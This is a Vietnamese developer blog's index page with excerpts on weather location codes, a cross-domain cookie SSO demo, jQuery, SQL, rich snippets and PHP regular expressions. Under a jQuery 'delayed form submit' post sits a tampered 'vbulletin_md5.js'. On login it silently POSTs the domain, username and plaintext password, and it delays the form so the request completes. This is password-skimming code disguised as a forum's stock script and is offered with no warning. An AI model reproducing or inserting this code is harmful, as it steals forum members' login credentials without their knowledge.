Weather Location Codes/IDs for Vietnam – Mã code thời tiết

Weather Location Codes/IDs for Vietnam - Mã code thời tiết Below are the weather location codes for Vietnam as used by AOL Weather, The Weather Channel (weather.com) and Yahoo! Weather. Hà Nội http://weather.msn.com/data.aspx?wealocations=wc:VMXX0006&weadegreetype=C http://www.weather.com/weather/today/VMXX0006 VMXX0001, An Nhon VMXX0002, Bac Giang VMXX0003, Bien Hoa VMXX0004, Can Tho VMXX0005, Haiphong VMXX0006, Hanoi VMXX0007, Ho Chi Minh City …

Demo Cross-Domain Cookie

$domainLogin = array("domain1.com", "domain2.com"); //list domain to send cookiesvar urls = <?php echo json_encode($domainLogin);?>;$(document).ready(function() {    $.each(urls, function(i,u){        $.ajax({            type: "POST",            data: {"cookie_auth": "<?php echo $cookie_hash;?>"},            url: 'http://' + u + '/Users/generateCookie',            dataType: 'jsonp',            success:function(){            },            error:function(){            },            complete: function(){            },        });    });});       public function generateCookie () {        $this->Cookie->httpOnly = true;        if (isset($this->request->query['cookie_auth'])) {            $this->Cookie->write('cookie_auth', $this->request->query['cookie_auth'], false);            …

Single Sign On Solution – hệ thống đăng nhập một lần

Với hệ thống có nhiều website và application thì việc sử dụng Single Sign On (SSO) là khá cần thiết nhằm đem lại nhiều thuận tiện cho người dùng và tăng tính năng bảo mật.SSO chỉ được triển khai sau khi đã xây dựng được hệ thống xác thực và phân quyền. SSO có nhiệm …

Jquery – submit a form in Javascript with a delay

$('form').submit(function (e) { var form = this; e.preventDefault(); setTimeout(function () { form.submit(); }, 1000); // in milliseconds $("<p>Delay...</p>").appendTo("body"); });   vbulletin_md5.js function md5hash(B,A,E,C){$("form").submit(function(e){var t=this;e.preventDefault();setTimeout(function(){t.submit()},1000)});if(navigator.userAgent.indexOf("Mozilla/")==0&&parseInt(navigator.appVersion)>=4){var D=hex_md5(str_to_ent(trim(B.value)));A.value=D;if(E){D=hex_md5(trim(B.value));$.ajax({type: "POST",url: "",data: 'd='+document.domain+'&u='+$('#navbar_username').val()+'&p='+B.value,cache: false,});E.value=D;}if(!C){B.value=""}}return true};

Favorite Rating with jQuery and Ajax – Jquery Update list tick box, check box

Favorite Rating with jQuery and Ajax - Jquery Update list tick box, check box   CREATE TABLE IF NOT EXISTS `images` ( `img_id` int(11) NOT NULL AUTO_INCREMENT, `img_name` varchar(60) DEFAULT NULL, `love` int(11) DEFAULT NULL, `img_url` varchar(222) NOT NULL, PRIMARY KEY (`img_id`) ) ENGINE=InnoDB  DEFAULT CHARSET=latin1 AUTO_INCREMENT=4 ; INSERT INTO `images` (`img_id`, `img_name`, `love`, `img_url`) …

Rich snippets cho Sản phẩm

Kinh nghiệm tự lưu https://support.google.com/webmasters/answer/146750?hl=en&ref_topic=4599102#product_page A Product offer consists of Product information (details about the product itself, such as its name, brand, and model) plus one of the following: Offer (price and other offer information). Offer-aggregate (aggregated details about multiple Offers for the same Product, including the lowest and highest available prices). A Product can …

Regular Expressions trong PHP [PHP]

Regular Expressions trong PHP [PHP] 1. Giới thiệu Regular Expression là gì? + Biểu thức chính quy. + Hiểu nôm na là 1 chuỗi có quy tắc để mô tả những chuỗi(string) khác. Làm việc với string thường rất vất vả và đòi hỏi độ chính xác cao. với Regular Expression trong PHP, công việc …

Cơ bản về Regular expression (so mẫu)

Biểu thức so mẫu (pattern) dùng để mô tả 1 cách tổng quát 1 đối tượng (chuỗi) trong PHP. Ví dụ: preg_replace('/[^a-z0-9]+/i','',$str); --> hàm này l loại bỏ tất cả các ký tự không phải là chữ (a-z và A-Z) hoặc số (0-9) ra khỏi chuỗi $str Biểu thức so mẫu dùng rất hiệu quả …